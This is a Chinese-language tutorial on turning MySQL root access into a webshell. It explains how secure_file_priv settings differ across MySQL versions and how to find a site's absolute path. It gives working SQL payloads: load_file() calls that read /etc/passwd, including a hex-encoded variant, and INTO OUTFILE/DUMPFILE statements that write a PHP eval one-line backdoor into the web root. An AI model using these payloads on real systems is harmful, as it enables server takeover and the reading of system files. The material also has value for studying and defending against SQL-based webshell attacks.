root用户及其权限

MySQL数据库默认有一个用户是Root,其权限是非常高的,在数据库默认配置下,Root用户是可以对网站的一些目录进行读写操作的。

如果当前连接的MySQL用户为root权限,在具有读写权限的前提下,我们是可以通过写入一句话木马到网站目录来获取网站权限的,也就是webshell。

要获取webshell一般需要的条件

1)当前连接到数据库的用户是Root权限

2)获取网站物理路径(也叫绝对路径就是文件在计算机中存储的位置)(可以通过以下方式获取:报错,phpinfo页面,猜(网站名一般会是xxx_com或xxx.com),爆破)

需注意的MySQL版本问题

1.MySQL 5.5.53前

5.5.53之前的版本是secure_file_priv变量默认为空,所以默认情况下是可以直接通过SQL语句来导出文件的。

2.MySQL高于5.5

高于5.5的版本,MySQL新出了一个secure-file-priv字段:secure-file-priv参数是用来限制LOAN DATA,SELECT ...>OUTFILE, and LOAD_FILE()传到哪个指定目录的。

当secure_file_priv的值为null,表示限制MySQL不允许导入/导出(是所有用户都不被允许)

当secure_file_priv的值为/tmp/,表示限制MySQL的导入/导出只能发生在/tmp/目录下

当secure_file_priv的值没有具体值时,即 ' ' ,表示不对MySQL的导入/导出做限制

查看secure-file-priv参数的值:show global variables like '%secure%'

MySQL读文件

MySQL读文件用的是load_file()函数:

select load_file('/etc/passwd');

select load_file(0x2F6574632F706173737764);  (这是把文件路径转换成了16进制,对这样的文件路径进行解码时要记得删掉0x)

MySQL写文件

INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符

INTO DUMPFILE函数在写文件时会保持文件得到原生内容,这种方式对于二进制文件是最好的选择

select '<?php @eval($_POST[pass])?>' into outfile '/var/www/html/muma.php';    (由于转译的问题,也许无法成功写入,这时我们需要给后面的文件路径用\\来分隔)

select '<?php @eval($_POST[pass])?>' into DUMPFILE '/var/www/html/muma.php';   (把一句话木马导出到文件)

select * from tdb_goods where goods_id=1 into outfile "/var/www/html/muma.php" LINES STARTING BY '<?php @eval($_POST[pass])?>'    (将查询得到的东西导出到文件,文件中的内容用一句话木马在开头来做分隔)

LINES STARTING BY '写入的内容'

设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

LINES TERMINATED BY '写入的内容'

设置每行数据结尾的字符,可以为单个字符或多个字符。默认值是"\n"。